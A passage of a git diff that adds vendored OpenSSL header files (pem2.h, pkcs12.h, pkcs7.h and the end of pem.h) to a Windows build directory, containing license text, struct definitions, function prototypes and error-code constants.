PEM_F_PEM_SEALINIT 111 +#define PEM_F_PEM_SIGNFINAL 112 +#define PEM_F_PEM_WRITE 113 +#define PEM_F_PEM_WRITE_BIO 114 +#define PEM_F_PEM_X509_INFO_READ 115 +#define PEM_F_PEM_X509_INFO_READ_BIO 116 +#define PEM_F_PEM_X509_INFO_WRITE_BIO 117 + +/* Reason codes. */ +#define PEM_R_BAD_BASE64_DECODE 100 +#define PEM_R_BAD_DECRYPT 101 +#define PEM_R_BAD_END_LINE 102 +#define PEM_R_BAD_IV_CHARS 103 +#define PEM_R_BAD_PASSWORD_READ 104 +#define PEM_R_ERROR_CONVERTING_PRIVATE_KEY 115 +#define PEM_R_NOT_DEK_INFO 105 +#define PEM_R_NOT_ENCRYPTED 106 +#define PEM_R_NOT_PROC_TYPE 107 +#define PEM_R_NO_START_LINE 108 +#define PEM_R_PROBLEMS_GETTING_PASSWORD 109 +#define PEM_R_PUBLIC_KEY_NO_RSA 110 +#define PEM_R_READ_KEY 111 +#define PEM_R_SHORT_HEADER 112 +#define PEM_R_UNSUPPORTED_CIPHER 113 +#define PEM_R_UNSUPPORTED_ENCRYPTION 114 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/pem2.h b/winstuff/openssl/pem2.h new file mode 100644 index 0000000..f31790d --- /dev/null +++ b/winstuff/openssl/pem2.h @@ -0,0 +1,70 @@ +/* ==================================================================== + * Copyright (c) 1999 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * licensing@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +/* + * This header only exists to break a circular dependency between pem and err + * Ben 30 Jan 1999. + */ + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef HEADER_PEM_H +void ERR_load_PEM_strings(void); +#endif + +#ifdef __cplusplus +} +#endif diff --git a/winstuff/openssl/pkcs12.h b/winstuff/openssl/pkcs12.h new file mode 100644 index 0000000..4bee605 --- /dev/null +++ b/winstuff/openssl/pkcs12.h @@ -0,0 +1,333 @@ +/* pkcs12.h */ +/* Written by Dr Stephen N Henson (steve@openssl.org) for the OpenSSL + * project 1999. + */ +/* ==================================================================== + * Copyright (c) 1999 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * licensing@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_PKCS12_H +#define HEADER_PKCS12_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define PKCS12_KEY_ID 1 +#define PKCS12_IV_ID 2 +#define PKCS12_MAC_ID 3 + +/* Default iteration count */ +#ifndef PKCS12_DEFAULT_ITER +#define PKCS12_DEFAULT_ITER PKCS5_DEFAULT_ITER +#endif + +#define PKCS12_MAC_KEY_LENGTH 20 + +#define PKCS12_SALT_LEN 8 + +/* Uncomment out next line for unicode password and names, otherwise ASCII */ + +/*#define PBE_UNICODE*/ + +#ifdef PBE_UNICODE +#define PKCS12_key_gen PKCS12_key_gen_uni +#define PKCS12_add_friendlyname PKCS12_add_friendlyname_uni +#else +#define PKCS12_key_gen PKCS12_key_gen_asc +#define PKCS12_add_friendlyname PKCS12_add_friendlyname_asc +#endif + +/* MS key usage constants */ + +#define KEY_EX 0x10 +#define KEY_SIG 0x80 + +typedef struct { +X509_SIG *dinfo; +ASN1_OCTET_STRING *salt; +ASN1_INTEGER *iter; /* defaults to 1 */ +} PKCS12_MAC_DATA; + +typedef struct { +ASN1_INTEGER *version; +PKCS12_MAC_DATA *mac; +PKCS7 *authsafes; +} PKCS12; + +PREDECLARE_STACK_OF(PKCS12_SAFEBAG) + +typedef struct { +ASN1_OBJECT *type; +union { + struct pkcs12_bag_st *bag; /* secret, crl and certbag */ + struct pkcs8_priv_key_info_st *keybag; /* keybag */ + X509_SIG *shkeybag; /* shrouded key bag */ + STACK_OF(PKCS12_SAFEBAG) *safes; + ASN1_TYPE *other; +}value; +STACK_OF(X509_ATTRIBUTE) *attrib; +} PKCS12_SAFEBAG; + +DECLARE_STACK_OF(PKCS12_SAFEBAG) +DECLARE_ASN1_SET_OF(PKCS12_SAFEBAG) +DECLARE_PKCS12_STACK_OF(PKCS12_SAFEBAG) + +typedef struct pkcs12_bag_st { +ASN1_OBJECT *type; +union { + ASN1_OCTET_STRING *x509cert; + ASN1_OCTET_STRING *x509crl; + ASN1_OCTET_STRING *octet; + ASN1_IA5STRING *sdsicert; + ASN1_TYPE *other; /* Secret or other bag */ +}value; +} PKCS12_BAGS; + +#define PKCS12_ERROR 0 +#define PKCS12_OK 1 + +/* Compatibility macros */ + +#define M_PKCS12_x5092certbag PKCS12_x5092certbag +#define M_PKCS12_x509crl2certbag PKCS12_x509crl2certbag + +#define M_PKCS12_certbag2x509 PKCS12_certbag2x509 +#define M_PKCS12_certbag2x509crl PKCS12_certbag2x509crl + +#define M_PKCS12_unpack_p7data PKCS12_unpack_p7data +#define M_PKCS12_pack_authsafes PKCS12_pack_authsafes +#define M_PKCS12_unpack_authsafes PKCS12_unpack_authsafes +#define M_PKCS12_unpack_p7encdata PKCS12_unpack_p7encdata + +#define M_PKCS12_decrypt_skey PKCS12_decrypt_skey +#define M_PKCS8_decrypt PKCS8_decrypt + +#define M_PKCS12_bag_type(bg) OBJ_obj2nid((bg)->type) +#define M_PKCS12_cert_bag_type(bg) OBJ_obj2nid((bg)->value.bag->type) +#define M_PKCS12_crl_bag_type M_PKCS12_cert_bag_type + +#define PKCS12_get_attr(bag, attr_nid) \ + PKCS12_get_attr_gen(bag->attrib, attr_nid) + +#define PKCS8_get_attr(p8, attr_nid) \ + PKCS12_get_attr_gen(p8->attributes, attr_nid) + +#define PKCS12_mac_present(p12) ((p12)->mac ? 1 : 0) + + +PKCS12_SAFEBAG *PKCS12_x5092certbag(X509 *x509); +PKCS12_SAFEBAG *PKCS12_x509crl2certbag(X509_CRL *crl); +X509 *PKCS12_certbag2x509(PKCS12_SAFEBAG *bag); +X509_CRL *PKCS12_certbag2x509crl(PKCS12_SAFEBAG *bag); + +PKCS12_SAFEBAG *PKCS12_item_pack_safebag(void *obj, const ASN1_ITEM *it, int nid1, + int nid2); +PKCS12_SAFEBAG *PKCS12_MAKE_KEYBAG(PKCS8_PRIV_KEY_INFO *p8); +PKCS8_PRIV_KEY_INFO *PKCS8_decrypt(X509_SIG *p8, const char *pass, int passlen); +PKCS8_PRIV_KEY_INFO *PKCS12_decrypt_skey(PKCS12_SAFEBAG *bag, const char *pass, + int passlen); +X509_SIG *PKCS8_encrypt(int pbe_nid, const EVP_CIPHER *cipher, + const char *pass, int passlen, + unsigned char *salt, int saltlen, int iter, + PKCS8_PRIV_KEY_INFO *p8); +PKCS12_SAFEBAG *PKCS12_MAKE_SHKEYBAG(int pbe_nid, const char *pass, + int passlen, unsigned char *salt, + int saltlen, int iter, + PKCS8_PRIV_KEY_INFO *p8); +PKCS7 *PKCS12_pack_p7data(STACK_OF(PKCS12_SAFEBAG) *sk); +STACK_OF(PKCS12_SAFEBAG) *PKCS12_unpack_p7data(PKCS7 *p7); +PKCS7 *PKCS12_pack_p7encdata(int pbe_nid, const char *pass, int passlen, + unsigned char *salt, int saltlen, int iter, + STACK_OF(PKCS12_SAFEBAG) *bags); +STACK_OF(PKCS12_SAFEBAG) *PKCS12_unpack_p7encdata(PKCS7 *p7, const char *pass, int passlen); + +int PKCS12_pack_authsafes(PKCS12 *p12, STACK_OF(PKCS7) *safes); +STACK_OF(PKCS7) *PKCS12_unpack_authsafes(PKCS12 *p12); + +int PKCS12_add_localkeyid(PKCS12_SAFEBAG *bag, unsigned char *name, int namelen); +int PKCS12_add_friendlyname_asc(PKCS12_SAFEBAG *bag, const char *name, + int namelen); +int PKCS12_add_CSPName_asc(PKCS12_SAFEBAG *bag, const char *name, + int namelen); +int PKCS12_add_friendlyname_uni(PKCS12_SAFEBAG *bag, const unsigned char *name, + int namelen); +int PKCS8_add_keyusage(PKCS8_PRIV_KEY_INFO *p8, int usage); +ASN1_TYPE *PKCS12_get_attr_gen(STACK_OF(X509_ATTRIBUTE) *attrs, int attr_nid); +char *PKCS12_get_friendlyname(PKCS12_SAFEBAG *bag); +unsigned char *PKCS12_pbe_crypt(X509_ALGOR *algor, const char *pass, + int passlen, unsigned char *in, int inlen, + unsigned char **data, int *datalen, int en_de); +void * PKCS12_item_decrypt_d2i(X509_ALGOR *algor, const ASN1_ITEM *it, + const char *pass, int passlen, ASN1_OCTET_STRING *oct, int zbuf); +ASN1_OCTET_STRING *PKCS12_item_i2d_encrypt(X509_ALGOR *algor, const ASN1_ITEM *it, + const char *pass, int passlen, + void *obj, int zbuf); +PKCS12 *PKCS12_init(int mode); +int PKCS12_key_gen_asc(const char *pass, int passlen, unsigned char *salt, + int saltlen, int id, int iter, int n, + unsigned char *out, const EVP_MD *md_type); +int PKCS12_key_gen_uni(unsigned char *pass, int passlen, unsigned char *salt, int saltlen, int id, int iter, int n, unsigned char *out, const EVP_MD *md_type); +int PKCS12_PBE_keyivgen(EVP_CIPHER_CTX *ctx, const char *pass, int passlen, + ASN1_TYPE *param, const EVP_CIPHER *cipher, const EVP_MD *md_type, + int en_de); +int PKCS12_gen_mac(PKCS12 *p12, const char *pass, int passlen, + unsigned char *mac, unsigned int *maclen); +int PKCS12_verify_mac(PKCS12 *p12, const char *pass, int passlen); +int PKCS12_set_mac(PKCS12 *p12, const char *pass, int passlen, + unsigned char *salt, int saltlen, int iter, + const EVP_MD *md_type); +int PKCS12_setup_mac(PKCS12 *p12, int iter, unsigned char *salt, + int saltlen, const EVP_MD *md_type); +unsigned char *asc2uni(const char *asc, int asclen, unsigned char **uni, int *unilen); +char *uni2asc(unsigned char *uni, int unilen); + +DECLARE_ASN1_FUNCTIONS(PKCS12) +DECLARE_ASN1_FUNCTIONS(PKCS12_MAC_DATA) +DECLARE_ASN1_FUNCTIONS(PKCS12_SAFEBAG) +DECLARE_ASN1_FUNCTIONS(PKCS12_BAGS) + +DECLARE_ASN1_ITEM(PKCS12_SAFEBAGS) +DECLARE_ASN1_ITEM(PKCS12_AUTHSAFES) + +void PKCS12_PBE_add(void); +int PKCS12_parse(PKCS12 *p12, const char *pass, EVP_PKEY **pkey, X509 **cert, + STACK_OF(X509) **ca); +PKCS12 *PKCS12_create(char *pass, char *name, EVP_PKEY *pkey, X509 *cert, + STACK_OF(X509) *ca, int nid_key, int nid_cert, int iter, + int mac_iter, int keytype); + +PKCS12_SAFEBAG *PKCS12_add_cert(STACK_OF(PKCS12_SAFEBAG) **pbags, X509 *cert); +PKCS12_SAFEBAG *PKCS12_add_key(STACK_OF(PKCS12_SAFEBAG) **pbags, EVP_PKEY *key, + int key_usage, int iter, + int key_nid, char *pass); +int PKCS12_add_safe(STACK_OF(PKCS7) **psafes, STACK_OF(PKCS12_SAFEBAG) *bags, + int safe_nid, int iter, char *pass); +PKCS12 *PKCS12_add_safes(STACK_OF(PKCS7) *safes, int p7_nid); + +int i2d_PKCS12_bio(BIO *bp, PKCS12 *p12); +int i2d_PKCS12_fp(FILE *fp, PKCS12 *p12); +PKCS12 *d2i_PKCS12_bio(BIO *bp, PKCS12 **p12); +PKCS12 *d2i_PKCS12_fp(FILE *fp, PKCS12 **p12); +int PKCS12_newpass(PKCS12 *p12, char *oldpass, char *newpass); + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_PKCS12_strings(void); + +/* Error codes for the PKCS12 functions. */ + +/* Function codes. */ +#define PKCS12_F_PARSE_BAG 129 +#define PKCS12_F_PARSE_BAGS 103 +#define PKCS12_F_PKCS12_ADD_FRIENDLYNAME 100 +#define PKCS12_F_PKCS12_ADD_FRIENDLYNAME_ASC 127 +#define PKCS12_F_PKCS12_ADD_FRIENDLYNAME_UNI 102 +#define PKCS12_F_PKCS12_ADD_LOCALKEYID 104 +#define PKCS12_F_PKCS12_CREATE 105 +#define PKCS12_F_PKCS12_GEN_MAC 107 +#define PKCS12_F_PKCS12_INIT 109 +#define PKCS12_F_PKCS12_ITEM_DECRYPT_D2I 106 +#define PKCS12_F_PKCS12_ITEM_I2D_ENCRYPT 108 +#define PKCS12_F_PKCS12_ITEM_PACK_SAFEBAG 117 +#define PKCS12_F_PKCS12_KEY_GEN_ASC 110 +#define PKCS12_F_PKCS12_KEY_GEN_UNI 111 +#define PKCS12_F_PKCS12_MAKE_KEYBAG 112 +#define PKCS12_F_PKCS12_MAKE_SHKEYBAG 113 +#define PKCS12_F_PKCS12_NEWPASS 128 +#define PKCS12_F_PKCS12_PACK_P7DATA 114 +#define PKCS12_F_PKCS12_PACK_P7ENCDATA 115 +#define PKCS12_F_PKCS12_PARSE 118 +#define PKCS12_F_PKCS12_PBE_CRYPT 119 +#define PKCS12_F_PKCS12_PBE_KEYIVGEN 120 +#define PKCS12_F_PKCS12_SETUP_MAC 122 +#define PKCS12_F_PKCS12_SET_MAC 123 +#define PKCS12_F_PKCS12_UNPACK_AUTHSAFES 130 +#define PKCS12_F_PKCS12_UNPACK_P7DATA 131 +#define PKCS12_F_PKCS12_VERIFY_MAC 126 +#define PKCS12_F_PKCS8_ADD_KEYUSAGE 124 +#define PKCS12_F_PKCS8_ENCRYPT 125 + +/* Reason codes. */ +#define PKCS12_R_CANT_PACK_STRUCTURE 100 +#define PKCS12_R_CONTENT_TYPE_NOT_DATA 121 +#define PKCS12_R_DECODE_ERROR 101 +#define PKCS12_R_ENCODE_ERROR 102 +#define PKCS12_R_ENCRYPT_ERROR 103 +#define PKCS12_R_ERROR_SETTING_ENCRYPTED_DATA_TYPE 120 +#define PKCS12_R_INVALID_NULL_ARGUMENT 104 +#define PKCS12_R_INVALID_NULL_PKCS12_POINTER 105 +#define PKCS12_R_IV_GEN_ERROR 106 +#define PKCS12_R_KEY_GEN_ERROR 107 +#define PKCS12_R_MAC_ABSENT 108 +#define PKCS12_R_MAC_GENERATION_ERROR 109 +#define PKCS12_R_MAC_SETUP_ERROR 110 +#define PKCS12_R_MAC_STRING_SET_ERROR 111 +#define PKCS12_R_MAC_VERIFY_ERROR 112 +#define PKCS12_R_MAC_VERIFY_FAILURE 113 +#define PKCS12_R_PARSE_ERROR 114 +#define PKCS12_R_PKCS12_ALGOR_CIPHERINIT_ERROR 115 +#define PKCS12_R_PKCS12_CIPHERFINAL_ERROR 116 +#define PKCS12_R_PKCS12_PBE_CRYPT_ERROR 117 +#define PKCS12_R_UNKNOWN_DIGEST_ALGORITHM 118 +#define PKCS12_R_UNSUPPORTED_PKCS12_MODE 119 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/pkcs7.h b/winstuff/openssl/pkcs7.h new file mode 100644 index 0000000..cc092d2 --- /dev/null +++ b/winstuff/openssl/pkcs7.h @@ -0,0 +1,464 @@ +/* crypto/pkcs7/pkcs7.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_PKCS7_H +#define HEADER_PKCS7_H + +#include +#include +#include + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef OPENSSL_SYS_WIN32 +/* Under Win32 thes are defined in wincrypt.h */ +#undef PKCS7_ISSUER_AND_SERIAL +#undef PKCS7_SIGNER_INFO +#endif + +/* +Encryption_ID DES-CBC +Digest_ID MD5 +Digest_Encryption_ID rsaEncryption +Key_Encryption_ID rsaEncryption +*/ + +typedef struct pkcs7_issuer_and_serial_st + { + X509_NAME *issuer; + ASN1_INTEGER *serial; + } PKCS7_ISSUER_AND_SERIAL; + +typedef struct pkcs7_signer_info_st + { + ASN1_INTEGER *version; /* version 1 */ + PKCS7_ISSUER_AND_SERIAL *issuer_and_serial; + X509_ALGOR *digest_alg; + STACK_OF(X509_ATTRIBUTE) *auth_attr; /* [ 0 ] */ + X509_ALGOR *digest_enc_alg; + ASN1_OCTET_STRING *enc_digest; + STACK_OF(X509_ATTRIBUTE) *unauth_attr; /* [ 1 ] */ + + /* The private key to sign with */ + EVP_PKEY *pkey; + } PKCS7_SIGNER_INFO; + +DECLARE_STACK_OF(PKCS7_SIGNER_INFO) +DECLARE_ASN1_SET_OF(PKCS7_SIGNER_INFO) + +typedef struct pkcs7_recip_info_st + { + ASN1_INTEGER *version; /* version 0 */ + PKCS7_ISSUER_AND_SERIAL *issuer_and_serial; + X509_ALGOR *key_enc_algor; + ASN1_OCTET_STRING *enc_key; + X509 *cert; /* get the pub-key from this */ + } PKCS7_RECIP_INFO; + +DECLARE_STACK_OF(PKCS7_RECIP_INFO) +DECLARE_ASN1_SET_OF(PKCS7_RECIP_INFO) + +typedef struct pkcs7_signed_st + { + ASN1_INTEGER *version; /* version 1 */ + STACK_OF(X509_ALGOR) *md_algs; /* md used */ + STACK_OF(X509) *cert; /* [ 0 ] */ + STACK_OF(X509_CRL) *crl; /* [ 1 ] */ + STACK_OF(PKCS7_SIGNER_INFO) *signer_info; + + struct pkcs7_st *contents; + } PKCS7_SIGNED; +/* The above structure is very very similar to PKCS7_SIGN_ENVELOPE. + * How about merging the two */ + +typedef struct pkcs7_enc_content_st + { + ASN1_OBJECT *content_type; + X509_ALGOR *algorithm; + ASN1_OCTET_STRING *enc_data; /* [ 0 ] */ + const EVP_CIPHER *cipher; + } PKCS7_ENC_CONTENT; + +typedef struct pkcs7_enveloped_st + { + ASN1_INTEGER *version; /* version 0 */ + STACK_OF(PKCS7_RECIP_INFO) *recipientinfo; + PKCS7_ENC_CONTENT *enc_data; + } PKCS7_ENVELOPE; + +typedef struct pkcs7_signedandenveloped_st + { + ASN1_INTEGER *version; /* version 1 */ + STACK_OF(X509_ALGOR) *md_algs; /* md used */ + STACK_OF(X509) *cert; /* [ 0 ] */ + STACK_OF(X509_CRL) *crl; /* [ 1 ] */ + STACK_OF(PKCS7_SIGNER_INFO) *signer_info; + + PKCS7_ENC_CONTENT *enc_data; + STACK_OF(PKCS7_RECIP_INFO) *recipientinfo; + } PKCS7_SIGN_ENVELOPE; + +typedef struct pkcs7_digest_st + { + ASN1_INTEGER *version; /* version 0 */ + X509_ALGOR *md; /* md used */ + struct pkcs7_st *contents; + ASN1_OCTET_STRING *digest; + } PKCS7_DIGEST; + +typedef struct pkcs7_encrypted_st + { + ASN1_INTEGER *version; /* version 0 */ + PKCS7_ENC_CONTENT *enc_data; + } PKCS7_ENCRYPT; + +typedef struct pkcs7_st + { + /* The following is non NULL if it contains ASN1 encoding of + * this structure */ + unsigned char *asn1; + long length; + +#define PKCS7_S_HEADER 0 +#define PKCS7_S_BODY 1 +#define PKCS7_S_TAIL 2 + int state; /* used during processing */ + + int detached; + + ASN1_OBJECT *type; + /* content as defined by the type */ + /* all encryption/message digests are applied to the 'contents', + * leaving out the 'type' field. */ + union { + char *ptr; + + /* NID_pkcs7_data */ + ASN1_OCTET_STRING *data; + + /* NID_pkcs7_signed */ + PKCS7_SIGNED *sign; + + /* NID_pkcs7_enveloped */ + PKCS7_ENVELOPE *enveloped; + + /* NID_pkcs7_signedAndEnveloped */ + PKCS7_SIGN_ENVELOPE *signed_and_enveloped; + + /* NID_pkcs7_digest */ + PKCS7_DIGEST *digest; + + /* NID_pkcs7_encrypted */ + PKCS7_ENCRYPT *encrypted; + + /* Anything else */ + ASN1_TYPE *other; + } d; + } PKCS7; + +DECLARE_STACK_OF(PKCS7) +DECLARE_ASN1_SET_OF(PKCS7) +DECLARE_PKCS12_STACK_OF(PKCS7) + +#define PKCS7_OP_SET_DETACHED_SIGNATURE 1 +#define PKCS7_OP_GET_DETACHED_SIGNATURE 2 + +#define PKCS7_get_signed_attributes(si) ((si)->auth_attr) +#define PKCS7_get_attributes(si) ((si)->unauth_attr) + +#define PKCS7_type_is_signed(a) (OBJ_obj2nid((a)->type) == NID_pkcs7_signed) +#define PKCS7_type_is_encrypted(a) (OBJ_obj2nid((a)->type) == NID_pkcs7_encrypted) +#define PKCS7_type_is_enveloped(a) (OBJ_obj2nid((a)->type) == NID_pkcs7_enveloped) +#define PKCS7_type_is_signedAndEnveloped(a) \ + (OBJ_obj2nid((a)->type) == NID_pkcs7_signedAndEnveloped) +#define PKCS7_type_is_data(a) (OBJ_obj2nid((a)->type) == NID_pkcs7_data) + +#define PKCS7_type_is_digest(a) (OBJ_obj2nid((a)->type) == NID_pkcs7_digest) + +#define PKCS7_set_detached(p,v) \ + PKCS7_ctrl(p,PKCS7_OP_SET_DETACHED_SIGNATURE,v,NULL) +#define PKCS7_get_detached(p) \ + PKCS7_ctrl(p,PKCS7_OP_GET_DETACHED_SIGNATURE,0,NULL) + +#define PKCS7_is_detached(p7) (PKCS7_type_is_signed(p7) && PKCS7_get_detached(p7)) + +#ifdef SSLEAY_MACROS +#ifndef PKCS7_ISSUER_AND_SERIAL_digest +#define PKCS7_ISSUER_AND_SERIAL_digest(data,type,md,len) \ + ASN1_digest((int (*)())i2d_PKCS7_ISSUER_AND_SERIAL,type,\ + (char *)data,md,len) +#endif +#endif + +/* S/MIME related flags */ + +#define PKCS7_TEXT 0x1 +#define PKCS7_NOCERTS 0x2 +#define PKCS7_NOSIGS 0x4 +#define PKCS7_NOCHAIN 0x8 +#define PKCS7_NOINTERN 0x10 +#define PKCS7_NOVERIFY 0x20 +#define PKCS7_DETACHED 0x40 +#define PKCS7_BINARY 0x80 +#define PKCS7_NOATTR 0x100 +#define PKCS7_NOSMIMECAP 0x200 +#define PKCS7_NOOLDMIMETYPE 0x400 +#define PKCS7_CRLFEOL 0x800 +#define PKCS7_STREAM 0x1000 +#define PKCS7_NOCRL 0x2000 + +/* Flags: for compatibility with older code */ + +#define SMIME_TEXT PKCS7_TEXT +#define SMIME_NOCERTS PKCS7_NOCERTS +#define SMIME_NOSIGS PKCS7_NOSIGS +#define SMIME_NOCHAIN PKCS7_NOCHAIN +#define SMIME_NOINTERN PKCS7_NOINTERN +#define SMIME_NOVERIFY PKCS7_NOVERIFY +#define SMIME_DETACHED PKCS7_DETACHED +#define SMIME_BINARY PKCS7_BINARY +#define SMIME_NOATTR PKCS7_NOATTR + +DECLARE_ASN1_FUNCTIONS(PKCS7_ISSUER_AND_SERIAL) + +#ifndef SSLEAY_MACROS +int PKCS7_ISSUER_AND_SERIAL_digest(PKCS7_ISSUER_AND_SERIAL *data,const EVP_MD *type, + unsigned char *md,unsigned int *len); +#ifndef OPENSSL_NO_FP_API +PKCS7 *d2i_PKCS7_fp(FILE *fp,PKCS7 **p7); +int i2d_PKCS7_fp(FILE *fp,PKCS7 *p7); +#endif +PKCS7 *PKCS7_dup(PKCS7 *p7); +PKCS7 *d2i_PKCS7_bio(BIO *bp,PKCS7 **p7); +int i2d_PKCS7_bio(BIO *bp,PKCS7 *p7); +#endif + +DECLARE_ASN1_FUNCTIONS(PKCS7_SIGNER_INFO) +DECLARE_ASN1_FUNCTIONS(PKCS7_RECIP_INFO) +DECLARE_ASN1_FUNCTIONS(PKCS7_SIGNED) +DECLARE_ASN1_FUNCTIONS(PKCS7_ENC_CONTENT) +DECLARE_ASN1_FUNCTIONS(PKCS7_ENVELOPE) +DECLARE_ASN1_FUNCTIONS(PKCS7_SIGN_ENVELOPE) 